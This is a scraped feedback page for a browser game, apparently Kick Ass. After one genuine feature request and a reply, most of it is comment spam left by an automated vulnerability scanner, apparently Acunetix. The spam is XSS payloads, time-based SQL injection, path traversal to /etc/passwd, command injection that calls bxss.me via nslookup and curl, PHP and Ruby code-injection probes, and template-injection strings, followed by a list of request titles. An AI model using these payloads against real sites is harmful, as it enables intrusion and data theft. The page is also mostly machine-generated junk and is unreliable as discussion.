Feedback

Save by DevilishDB - 153 months ago

You could have an option to save what has been shot at so that for example ads will be gone forever!! I assume this wouldn't be possible with the JavaScript bookmark thing but maybe with the Chrome extension.

• GM213

  That wood be awsome

• Boogerflicker

  Yeah your first assumption is right. I can't think of a way to save your progress because the bookmark is just making a copy of the website in the webpage, almost like a picture. That is why when you refresh the page you get the original page and no damage has been done to it. Although in a way you can "save" your game. If you are destroying a site you can click cancel and it will record the amount of points you have and add them to your xp and to your highscores list, they just won't be published to the global highscores because it only registers if you completely destroy the webpage.

• lxbfYeaa

  1

• lxbfYeaa

  1

• JJJ3QQQ

  JJJ30QQQ

• WfxYANoW

  1

• WfxYANoW

  1DLcR3Yz96O

• WfxYANoW

  1<esi:include src="http://bxss.me/rpb.png"/>

• 1CG8X9IKnlO

  1

• WfxYANoW

  ${9999179+9999053}

• WfxYANoW

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• ${10000201+9999221}

  1

• Anonymous

  1

• WfxYANoW

  ../../../../../../../../../../../../../../etc/passwd

• WfxYANoW

  response.write(9335200*9747078)

• WfxYANoW

  ../../../../../../../../../../../../../../windows/win.ini

• WfxYANoW

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• WfxYANoW

  '+response.write(9335200*9747078)+'

• WfxYANoW

  file:///etc/passwd

• WfxYANoW

  Http://bxss.me/t/fit.txt

• WfxYANoW

  1

• WfxYANoW

  "+response.write(9335200*9747078)+"

• WfxYANoW

  ../1

• WfxYANoW

  echo gqjunw$()\ bwyjus\nz^xyu||a #' &echo gqjunw$()\ bwyjus\nz^xyu||a #|" &echo gqjunw$()\ bwyjus\nz^xyu||a #

• WfxYANoW

  6BShNXIs

• WfxYANoW

  &echo zghrdt$()\ lanifp\nz^xyu||a #' &echo zghrdt$()\ lanifp\nz^xyu||a #|" &echo zghrdt$()\ lanifp\nz^xyu||a #

• response.write(9666501*9040666)

  1

• WfxYANoW

  http://bxss.me/t/fit.txt?.jpg

• WfxYANoW

  /etc/shells

• WfxYANoW

  1&echo vlyhyx$()\ clvfja\nz^xyu||a #' &echo vlyhyx$()\ clvfja\nz^xyu||a #|" &echo vlyhyx$()\ clvfja\nz^xyu||a #

• WfxYANoW

  ../../../../../../../../../../../../../../etc/shells

• file:///etc/passwd

  1

• WfxYANoW

  dlT78Vf1: LMTG8hZI

• '+response.write(9666501*9040666)+'

  1

• WfxYANoW

  1

• WfxYANoW

  |echo dclxid$()\ pkkgnl\nz^xyu||a #' |echo dclxid$()\ pkkgnl\nz^xyu||a #|" |echo dclxid$()\ pkkgnl\nz^xyu||a #

• ../WfxYANoW

  1

• WfxYANoW

  1&n960788=v958108

• WfxYANoW

  c:/windows/win.ini

• WfxYANoW

  1|echo plxyhq$()\ sxiofb\nz^xyu||a #' |echo plxyhq$()\ sxiofb\nz^xyu||a #|" |echo plxyhq$()\ sxiofb\nz^xyu||a #

• "+response.write(9666501*9040666)+"

  1

• owa0RhKz

  1

• WfxYANoW

  (nslookup -q=cname hitlcpyhbcqxd14a9e.bxss.me||curl hitlcpyhbcqxd14a9e.bxss.me))

• bENOZ1J6cEQ=

  1

• ksu7DqXx: fMYcckvt

  1

• WfxYANoW

  bxss.me

• WfxYANoW&n994212=v906710

  1

• WfxYANoW

  $(nslookup -q=cname hitvcgakxijvw11511.bxss.me||curl hitvcgakxijvw11511.bxss.me)

• WfxYANoW

  &nslookup -q=cname hitsbhmhfsbjw0f064.bxss.me&'\"`0&nslookup -q=cname hitsbhmhfsbjw0f064.bxss.me&`'

• WfxYANoW

  )

• WfxYANoW

  &(nslookup -q=cname hitkznacgeeir5140a.bxss.me||curl hitkznacgeeir5140a.bxss.me)&'\"`0&(nslookup -q=cname hitkznacgeeir5140a.bxss.me||curl hitkznacgeeir5140a.bxss.me)&`'

• WfxYANoW

  !(()&&!|*|*|

• WfxYANoW

  '.gethostbyname(lc('hitkp'.'wrjuxxveac5ef.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(76).chr(109).chr(81).'

• WfxYANoW

  ^(#$!@#$)(()))******

• WfxYANoW

  |(nslookup -q=cname hitrbsaghqwlx172b5.bxss.me||curl hitrbsaghqwlx172b5.bxss.me)

• WfxYANoW

  ".gethostbyname(lc("hitkl"."hqysoofkab697.bxss.me."))."A".chr(67).chr(hex("58")).chr(104).chr(76).chr(113).chr(82)."

• )

  1

• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  1

• WfxYANoW

  `(nslookup -q=cname hitkwrzzjuwhe14c89.bxss.me||curl hitkwrzzjuwhe14c89.bxss.me)`

• Http://bxss.me/t/fit.txt

  1

• WfxYANoW

  1

• !(()&&!|*|*|

  1

• http://bxss.me/t/fit.txt?.jpg

  1

• /etc/shells

  1

• WfxYANoW

  ;(nslookup -q=cname hitublpqcibaj78280.bxss.me||curl hitublpqcibaj78280.bxss.me)|(nslookup -q=cname hitublpqcibaj78280.bxss.me||curl hitublpqcibaj78280.bxss.me)&(nslookup -q=cname hitublpqcibaj78280.bxss.me||curl hitublpqcibaj78280.bxss.me)

• WfxYANoW

  gethostbyname(lc('hitbj'.'jedylmhd0aa13.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(87).chr(104).chr(85)

• WfxYANoW

  |(nslookup${IFS}-q${IFS}cname${IFS}hithalocwumsz76a11.bxss.me||curl${IFS}hithalocwumsz76a11.bxss.me)

• c:/windows/win.ini

  1

• bxss.me

  1

• ^(#$!@#$)(()))******

  1

• WfxYANoW

  &(nslookup${IFS}-q${IFS}cname${IFS}hitwjtqkeitjk443b1.bxss.me||curl${IFS}hitwjtqkeitjk443b1.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitwjtqkeitjk443b1.bxss.me||curl${IFS}hitwjtqkeitjk443b1.bxss.me)&`'

• WfxYANoW

  '"()

• WfxYANoW

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• WfxYANoW

  1

• WfxYANoW

  ';print(md5(31337));$a='

• WfxYANoW

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• WfxYANoW

  ";print(md5(31337));$a="

• WfxYANoW

  1'&&sleep(27*1000)*vtrfhq&&'

• WfxYANoW

  xfs.bxss.me

• WfxYANoW

  1"&&sleep(27*1000)*tzmayj&&"

• xfs.bxss.me

  1

• WfxYANoW

  1'||sleep(27*1000)*zauuvu||'

• WfxYANoW

  1'"()&%<zzz><ScRiPt >6hAa(9113)</ScRiPt>

• WfxYANoW

  1"||sleep(27*1000)*xbdnzp||"

• WfxYANoW

  ${@print(md5(31337))}

• WfxYANoW

  '"

• WfxYANoW

  1

• WfxYANoW

  ${@print(md5(31337))}\

• WfxYANoW

  <!--

• '"

  1

• '"()

  1

• WfxYANoW

  '.print(md5(31337)).'

• WfxYANoW

  HttP://bxss.me/t/xss.html?%00

• WfxYANoW'&&sleep(27*1000)*pmjfgf&&'

  1

• WfxYANoW

  bxss.me/t/xss.html?%00

• WfxYANoW

  '"()&%<zzz><ScRiPt >6hAa(9520)</ScRiPt>

• ';print(md5(31337));$a='

  1

• HttP://bxss.me/t/xss.html?%00

  1

• WfxYANoW

  19029183

• WfxYANoW"&&sleep(27*1000)*wbymgi&&"

  1

• <!--

  1

• bxss.me/t/xss.html?%00

  1

• ";print(md5(31337));$a="

  1

• WfxYANoW

  "+"A".concat(70-3).concat(22*4).concat(109).concat(74).concat(117).concat(73)+(require"socket" Socket.gethostbyname("hitdj"+"qbtmjgvl43328.bxss.me.")[3].to_s)+"

• WfxYANoW'||sleep(27*1000)*nzynad||'

  1

• WfxYANoW

  comment

• WfxYANoW

  '+'A'.concat(70-3).concat(22*4).concat(116).concat(77).concat(99).concat(89)+(require'socket' Socket.gethostbyname('hitos'+'pnkxcede0f694.bxss.me.')[3].to_s)+'

• WfxYANoW"||sleep(27*1000)*iwtrti||"

  1

• WfxYANoW

  comment

• ${@print(md5(31337))}

  1

• WfxYANoW

  bfg5110＜s1﹥s2ʺs3ʹhjl5110

• WfxYANoW

  comment/.

• comment

  1

• WfxYANoW

  'A'.concat(70-3).concat(22*4).concat(103).concat(76).concat(116).concat(82)+(require'socket' Socket.gethostbyname('hitsy'+'ouqdomeb74005.bxss.me.')[3].to_s)

• comment

  1

• ${@print(md5(31337))}\

  1

• '.print(md5(31337)).'

  1

• comment/.

  1

• WfxYANoW

  <%={{={@{#{${dfb}}%>

• WfxYANoW

  <th:t="${dfb}#foreach

• WfxYANoW

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• WfxYANoW

  1

• WfxYANoW

  dfb{{98991*97996}}xca

• WfxYANoW

  dfb[[${98991*97996}]]xca

• WfxYANoW

  dfb__${98991*97996}__::.x

• WfxYANoW

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• WfxYANoW

  1<ScRiPt >6hAa(9830)</ScRiPt>

• WfxYANoW

  1<WRAMEN>IILIR[!+!]</WRAMEN>

• WfxYANoW

  1<script>6hAa(9945)</script>

• WfxYANoW

  1<script>6hAa(9580)</script>9580

• WfxYANoW

  1<ScR<ScRiPt>IpT>6hAa(9567)</sCr<ScRiPt>IpT>

• WfxYANoW

  1<ScRiPt >6hAa(9443)</ScRiPt>

• WfxYANoW

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9496></ScRiPt>

• WfxYANoW

  1<ScRiPt >6hAa(9988)</ScRiPt>

• WfxYANoW

  1zkRhlu6s

• WfxYANoW

  1<isindex type=image src=1 onerror=6hAa(9618)>

• WfxYANoW

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9237'>

• WfxYANoW

  1<body onload=6hAa(9977)>

• WfxYANoW

  1<img src=//xss.bxss.me/t/dot.gif onload=6hAa(9424)>

• WfxYANoW

  1<img src=xyz OnErRor=6hAa(9325)>

• WfxYANoW

  1<img/src=">" onerror=alert(9458)>

• WfxYANoW

  %31%3C%53%63%52%69%50%74%20%3E%36%68%41%61%289656%29%3C%2F%73%43%72%69%70%54%3E

• WfxYANoW

  1\u003CScRiPt\6hAa(9829)\u003C/sCripT\u003E

• WfxYANoW

  1

• WfxYANoW

  1&lt;ScRiPt&gt;6hAa(9201)&lt;/sCripT&gt;

• WfxYANoW

  -1 OR 2+459-459-1=0+0+0+1 --

• WfxYANoW

  1<input autofocus onfocus=6hAa(9503)>

• WfxYANoW

  -1 OR 2+659-659-1=0+0+0+1

• WfxYANoW

  -1' OR 2+763-763-1=0+0+0+1 --

• WfxYANoW

  <a HrEF=http://xss.bxss.me></a>

• WfxYANoW

  -1' OR 2+820-820-1=0+0+0+1 or '5BJ8X1nx'='

• WfxYANoW

  <a HrEF=jaVaScRiPT:>

• WfxYANoW

  -1" OR 2+882-882-1=0+0+0+1 --

• WfxYANoW

  1}body{zzz:Expre/**/SSion(6hAa(9136))}

• WfxYANoW

  1bViXI <ScRiPt >6hAa(9117)</ScRiPt>

• WfxYANoW

  1<W1VZGW>SG46W[!+!]</W1VZGW>

• WfxYANoW

  1<ifRAme sRc=9816.com></IfRamE>

• WfxYANoW

  1<aEidqGo x=9432>

• WfxYANoW

  1<img sRc='http://attacker-9637/log.php?

• WfxYANoW

  1<aPPfjdZ<

• WfxYANoW'"()&%<zzz><ScRiPt >6hAa(9352)</ScRiPt>

  1

• '"()&%<zzz><ScRiPt >6hAa(9967)</ScRiPt>

  1

• WfxYANoW

  1*if(now()=sysdate(),sleep(15),0)

• WfxYANoW9480867

  1

• bfg10220＜s1﹥s2ʺs3ʹhjl10220

  1

• <%={{={@{#{${dfb}}%>

  1

• <th:t="${dfb}#foreach

  1

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• dfb{{98991*97996}}xca

  1

• dfb[[${98991*97996}]]xca

  1

• dfb__${98991*97996}__::.x

  1

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• WfxYANoW<ScRiPt >6hAa(9851)</ScRiPt>

  1

• WfxYANoW<WIDVZ1>NX8T3[!+!]</WIDVZ1>

  1

• WfxYANoW<script>6hAa(9649)</script>

  1

• WfxYANoW<script>6hAa(9511)</script>9511

  1

• WfxYANoW

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• WfxYANoW<ScRiPt >6hAa(9749)</ScRiPt>

  1

• WfxYANoW<ScRiPt >6hAa(9582)</ScRiPt>

  1

• WfxYANoW<body onload=6hAa(9835)>

  1

• WfxYANoW<img src=xyz OnErRor=6hAa(9573)>

  1

• WfxYANoW<img/src=">" onerror=alert(9143)>

  1

• WfxYANoW\u003CScRiPt\6hAa(9120)\u003C/sCripT\u003E

  1

• WfxYANoW

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• WfxYANoW&lt;ScRiPt&gt;6hAa(9264)&lt;/sCripT&gt;

  1

• WfxYANoW<input autofocus onfocus=6hAa(9456)>

  1

• <a HrEF=http://xss.bxss.me></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• WfxYANoW}body{zzz:Expre/**/SSion(6hAa(9589))}

  1

• WfxYANoW0Ckpf <ScRiPt >6hAa(9560)</ScRiPt>

  1

• WfxYANoW<WEZSLK>HFAZH[!+!]</WEZSLK>

  1

• WfxYANoW<ifRAme sRc=9634.com></IfRamE>

  1

• WfxYANoW<aIYVJjZ x=9192>

  1

• WfxYANoW<img sRc='http://attacker-9337/log.php?

  1

• WfxYANoW<aN68FUS<

  1

• WfxYANoW

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• WfxYANoW

  1-1; waitfor delay '0:0:15' --

• WfxYANoW

  1-1); waitfor delay '0:0:15' --

• WfxYANoW

  1-1 waitfor delay '0:0:15' --

• WfxYANoW

  1o3GyjtuT'; waitfor delay '0:0:15' --

• WfxYANoW

  1-1 OR 115=(SELECT 115 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1) OR 346=(SELECT 346 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1)) OR 581=(SELECT 581 FROM PG_SLEEP(15))--

• WfxYANoW

  17SutVwCy' OR 874=(SELECT 874 FROM PG_SLEEP(15))--

• WfxYANoW

  1Fm2lslg2') OR 68=(SELECT 68 FROM PG_SLEEP(15))--

• WfxYANoW

  1efcUHBqi')) OR 46=(SELECT 46 FROM PG_SLEEP(15))--

• WfxYANoW

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• WfxYANoW

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• WfxYANoW

  1'"

• WfxYANoW

  @@P0Edi

• WfxYANoW

  1

• WfxYANoW

  1

• WfxYANoWudfKb86q

  1

• WfxYANoW

  1

• -1 OR 2+61-61-1=0+0+0+1 --

  1

• -1 OR 2+251-251-1=0+0+0+1

  1

• -1' OR 2+913-913-1=0+0+0+1 --

  1

• -1' OR 2+544-544-1=0+0+0+1 or 'BKILC8FL'='

  1

• -1" OR 2+452-452-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• WfxYANoW-1 waitfor delay '0:0:15' --

  1

• WfxYANoWncHrCeTh'; waitfor delay '0:0:15' --

  1

• WfxYANoW'"

  1

• @@da3ve

  1

• Peter Winter

  555-555-0199@example.com

• Pecedec150

  555-555-0199@example.com

• lbvvcjyd

  1

• mslvlxii

  response.write(9887220*9822938)

• mslvlxii

  '+response.write(9887220*9822938)+'

• sfnqjcdc

  1

• mslvlxii

  "+response.write(9887220*9822938)+"

• sfnqjcdc

  1

• pwgohhlh

  set|set&set

• response.write(9543336*9933588)

  1

• sfnqjcdc

  oqfhAzhr

• pwgohhlh

  $(nslookup b9WgIdmX)

• '+response.write(9543336*9933588)+'

  1

• sfnqjcdc

  -1 OR 2+567-567-1=0+0+0+1 --

• ryengocd

  ZPClLrMF

• ihjgxpsj

  ../../../../../../../../../../etc/passwd

• pwgohhlh

  &nslookup QcTOpuzu&'\"`0&nslookup QcTOpuzu&`'

• "+response.write(9543336*9933588)+"

  1

• sfnqjcdc

  -1 OR 2+165-165-1=0+0+0+1

• dh4lf5Ph

  1

• ihjgxpsj

  ../../../../../../../../../../../../../../../proc/version

• set|set&set

  1

• gbjikxrs

  1

• sfnqjcdc

  -1' OR 2+463-463-1=0+0+0+1 --

• nyugeraf

  ${9999565+9999381}

• ihjgxpsj

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• $(nslookup G9U3v73U)

  1

• sfnqjcdc

  -1' OR 2+212-212-1=0+0+0+1 or '23kuLmKZ'='

• ${9999027+10000337}

  1

• cpuvlhhs

  http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

• ihjgxpsj

  ../../../../../../../../../../etc/passwd.jpg

• &nslookup qCVFCQhw&'\"`0&nslookup qCVFCQhw&`'

  1

• sfnqjcdc

  -1" OR 2+46-46-1=0+0+0+1 --

• YUhqOWQ0YUQ=

  1

• cpuvlhhs

  1some_inexistent_file_with_long_name.jpg

• ihjgxpsj

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• isheyaps

  1&n907600=v985046

• sfnqjcdc

  if(now()=sysdate(),sleep(10),0)/*'XOR(if(now()=sysdate(),sleep(10),0))OR'"XOR(if(now()=sysdate(),sleep(10),0))OR"*/

• ljjcyrrv

  )

• cpuvlhhs

  Http://testasp.vulnweb.com/t/fit.txt

• ihjgxpsj

  /../..//../..//../..//../..//../..//etc/passwd.jpg

• gbjikxrs

  1

• sfnqjcdc

  (select(0)from(select(sleep(10)))v)/*'+(select(0)from(select(sleep(10)))v)+'"+(select(0)from(select(sleep(10)))v)+"*/

• ljjcyrrv

  !(()&&!|*|*|

• cpuvlhhs

  http://testasp.vulnweb.com/t/fit.txt?.jpg

• ihjgxpsj

  .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

• vuncxqug&n906088=v944740

  1

• Anonymous

  1

• sfnqjcdc

  -1; waitfor delay '0:0:10' --

• ljjcyrrv

  ^(#$!@#$)(()))******

• cpuvlhhs

  testasp.vulnweb.com

• ihjgxpsj

  /etc/passwd

• sfnqjcdc

  -1); waitfor delay '0:0:3' --

• )

  1

• ihjgxpsj

  %2fetc%2fpasswd

• sfnqjcdc

  -1); waitfor delay '0:0:0' --

• !(()&&!|*|*|

  1

• 1some_inexistent_file_with_long_name.jpg

  1

• ihjgxpsj

  /.././.././.././.././.././.././.././../etc/./passwd%00

• aaxjbkgr

  '"()

• bdenlhcr

  ;print(md5(acunetix_wvs_security_test));

• sfnqjcdc

  1 waitfor delay '0:0:3' --

• ^(#$!@#$)(()))******

  1

• Http://testasp.vulnweb.com/t/fit.txt

  1

• ihjgxpsj

  ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

• bdenlhcr

  ';print(md5(acunetix_wvs_security_test));$a='

• sfnqjcdc

  1 waitfor delay '0:0:7' --

• qoglskeh

  http://testasp.vulnweb.com/t/xss.html?%00.jpg

• gjujdaar

  1

• http://testasp.vulnweb.com/t/fit.txt?.jpg

  1

• ihjgxpsj

  ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

• '"()

  1

• bdenlhcr

  ";print(md5(acunetix_wvs_security_test));$a="

• sfnqjcdc

  PfXMXcMi'; waitfor delay '0:0:3' --

• http://testasp.vulnweb.com/t/xss.html?%00.jpg

  1

• gjujdaar

  comment

• testasp.vulnweb.com

  1

• qtbpshro

  http://hitAh2hMBro4c.bxss.me/

• bdenlhcr

  ${@print(md5(acunetix_wvs_security_test))}

• sfnqjcdc

  VgGfpayz'; waitfor delay '0:0:10' --

• sckkjbny

  1

• gjujdaar

  comment

• bnqfjkoh

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• ihjgxpsj

  invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

• http://hithhAmcdnJoS.bxss.me/

  1

• bdenlhcr

  ${@print(md5(acunetix_wvs_security_test))}\

• sfnqjcdc

  -1;select pg_sleep(7); --

• sckkjbny

  1'"

• gjujdaar

  comment/.

• ihjgxpsj

  file:///etc/passwd

• rgatdick

  /www.vulnweb.com

• ;print(md5(acunetix_wvs_security_test));

  1

• sfnqjcdc

  -1);select pg_sleep(7); --

• sckkjbny

  \

• gjujdaar

  1

• xdahqpmy

  '"

• ihjgxpsj

  /\../\../\../\../\../\../\../etc/passwd

• /www.vulnweb.com

  1

• ';print(md5(acunetix_wvs_security_test));$a='

  1

• sfnqjcdc

  -1));select pg_sleep(7); --

• comment

  1

• xdahqpmy

  <!--

• ihjgxpsj

  WEB-INF/web.xml

• irackvpe

  1'"()&%<acx><ScRiPt >IiS0(9171)</ScRiPt>

• ";print(md5(acunetix_wvs_security_test));$a="

  1

• sfnqjcdc

  9XFWVheS';select pg_sleep(7); --

• sckkjbny

  @@F3uoq

• comment

  1

• '"

  1

• ihjgxpsj

  /WEB-INF/web.xml

• ${@print(md5(acunetix_wvs_security_test))}

  1

• sfnqjcdc

  UCfsNOoA');select pg_sleep(10); --

• sckkjbny

  JyI=

• comment/.

  1

• <!--

  1

• ihjgxpsj

  WEB-INF\web.xml

• irackvpe

  '"()&%<acx><ScRiPt >IiS0(9526)</ScRiPt>

• ${@print(md5(acunetix_wvs_security_test))}\

  1

• sfnqjcdc

  MH65010Y'));select pg_sleep(10); --

• ../../../../../../../../../../etc/passwd

  1

• sfnqjcdc

  1

• irackvpe

  1_9557

• sfnqjcdc

  1

• sckkjbny

  (select convert(int,CHAR(65)))

• PpOhgbGf

  1

• sckkjbny

  1

• irackvpe

  acu4814＜s1﹥s2ʺs3ʹuca4814

• ../../../../../../../../../../etc/passwd.jpg

  1

• -1 OR 2+771-771-1=0+0+0+1 --

  1

• 1'"

  1

• -1 OR 2+275-275-1=0+0+0+1

  1

• \

  1

• -1' OR 2+202-202-1=0+0+0+1 --

  1

• -1' OR 2+779-779-1=0+0+0+1 or 'Ob1uySab'='

  1

• @@z9vMO

  1

• .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  1

• irackvpe

  {{9999766*9999871}}

• -1" OR 2+662-662-1=0+0+0+1 --

  1

• JyI=

  1

• /etc/passwd

  1

• %2fetc%2fpasswd

  1

• irackvpe

  1<ScRiPt >IiS0(9812)</ScRiPt>

• 1 waitfor delay '0:0:9' --

  1

• (select convert(int,CHAR(65)))

  1

• irackvpe

  1<WXTVCN>K3GNU[!+!]</WXTVCN>

• 9VQFQSk3'; waitfor delay '0:0:9' --

  1

• eMmfLyZY';select pg_sleep(9); --

  1

• irackvpe

  1<script>IiS0(9964)</script>

• xL0jv5Ep');select pg_sleep(13); --

  1

• LEyqt1Xp'));select pg_sleep(13); --

  1

• file:///etc/passwd

  1

• irackvpe

  1<ScR<ScRiPt>IpT>IiS0(9275)</sCr<ScRiPt>IpT>

• /\../\../\../\../\../\../\../etc/passwd

  1

• WEB-INF/web.xml

  1

• irackvpe

  1<ScRiPt >IiS0(9279)</ScRiPt>

• /WEB-INF/web.xml

  1

• WEB-INF\web.xml

  1

• irackvpe

  1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9877></ScRiPt>

• irackvpe

  1<ScRiPt >IiS0(9733)</ScRiPt>

• irackvpe

  1<video><source onerror="javascript:IiS0(9844)">

• irackvpe

  1<isindex type=image src=1 onerror=IiS0(9200)>

• irackvpe

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9020'>

• irackvpe

  1<body onload=IiS0(9257)>

• irackvpe

  1<img src=//testasp.vulnweb.com/t/dot.gif onload=IiS0(9673)>

• irackvpe

  1<img src=xyz OnErRor=IiS0(9759)>

• irackvpe

  1<img/src=">" onerror=alert(9219)>

• irackvpe

  %31%3C%53%63%52%69%50%74%20%3E%49%69%53%30%289042%29%3C%2F%73%43%72%69%70%54%3E

• irackvpe

  1\u003CScRiPt\IiS0(9098)\u003C/sCripT\u003E

• irackvpe

  1&lt;ScRiPt&gt;IiS0(9427)&lt;/sCripT&gt;

• irackvpe

  1<input autofocus onfocus=IiS0(9702)>

• irackvpe

  <a HrEF=http://www.vulnweb.com></a>

• irackvpe

  <a HrEF=jaVaScRiPT:>

• irackvpe

  [url=http://www.vulnweb.com][/url]

• irackvpe

  1<img<!-- --> src=x onerror=alert(9122);//><!-- -->

• irackvpe

  1}body{acu:Expre/**/SSion(IiS0(9116))}

• irackvpe

  1<% contenteditable onresize=IiS0(9963)>

• irackvpe

  1_Nveji <ScRiPt >IiS0(9398)</ScRiPt>

• irackvpe

  1<W7MLWJ>BIIO9[!+!]</W7MLWJ>

• irackvpe

  1<ifRAme sRc=9848.com></IfRamE>

• irackvpe

  1<4aBPck x=9654>

• irackvpe

  1<img sRc='http://attacker-9123/log.php?

• irackvpe'"()&%<acx><ScRiPt >IiS0(9714)</ScRiPt>

  1

• '"()&%<acx><ScRiPt >IiS0(9708)</ScRiPt>

  1

• irackvpe_9875

  1

• acu2694＜s1﹥s2ʺs3ʹuca2694

  1

• {{9999739*9999545}}

  1

• irackvpe<ScRiPt >IiS0(9686)</ScRiPt>

  1

• irackvpe<WAHZCF>CZSGJ[!+!]</WAHZCF>

  1

• irackvpe<script>IiS0(9168)</script>

  1

• irackvpe<ScRiPt >IiS0(9054)</ScRiPt>

  1

• irackvpe<ScRiPt >IiS0(9858)</ScRiPt>

  1

• irackvpe<body onload=IiS0(9336)>

  1

• irackvpe<img src=xyz OnErRor=IiS0(9928)>

  1

• irackvpe<img/src=">" onerror=alert(9033)>

  1

• irackvpe\u003CScRiPt\IiS0(9959)\u003C/sCripT\u003E

  1

• irackvpe&lt;ScRiPt&gt;IiS0(9607)&lt;/sCripT&gt;

  1

• irackvpe<input autofocus onfocus=IiS0(9219)>

  1

• <a HrEF=http://www.vulnweb.com></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• [url=http://www.vulnweb.com][/url]

  1

• irackvpe}body{acu:Expre/**/SSion(IiS0(9841))}

  1

• irackvpe<% contenteditable onresize=IiS0(9476)>

  1

• irackvpe_iH27G <ScRiPt >IiS0(9376)</ScRiPt>

  1

• irackvpe<WJP1DR>HAWXR[!+!]</WJP1DR>

  1

• irackvpe<ifRAme sRc=9825.com></IfRamE>

  1

• irackvpe<TU3MAM x=9691>

  1

• irackvpe<img sRc='http://attacker-9643/log.php?

  1

Comment

• Ship changed after being placed into the gallery
  By BeyPokéDig - 152 months ago
  Unvote

  8064 agree

• Hack Protection
  By Stealthkid - 144 months ago
  Unvote

  2858 agree

• Add to favorites
  By Anonymous - 155 months ago
  Unvote

  798 agree

• editro
  By critic - 155 months ago
  Unvote

  772 agree

• Missiles as an Third Weapon
  By Ram - 151 months ago
  Unvote

  746 agree

• Youtube B-wing achievement
  By chuck norris - 153 months ago
  Unvote

  746 agree

• Symmetry and Snap to grid Mode
  By Stan1023 - 111 months ago
  Unvote

  710 agree

• Change Name?
  By Anonymous - 155 months ago
  Unvote

  681 agree

• Mistaken Website Bug
  By CrazyDeathling - 153 months ago
  Unvote

  661 agree

• Slide ship in on start
  By Kickass guy - 155 months ago
  Unvote

  660 agree

• Kick Ass is Bad Ass!!
  By TheNuclearNinja - 150 months ago
  Unvote

  645 agree

• Rank list & Leaderboards
  By StoleYourFood - 149 months ago
  Unvote

  632 agree

• What browsers are supported?
  By Jack - 151 months ago
  Unvote

  623 agree

• It doesn't work!
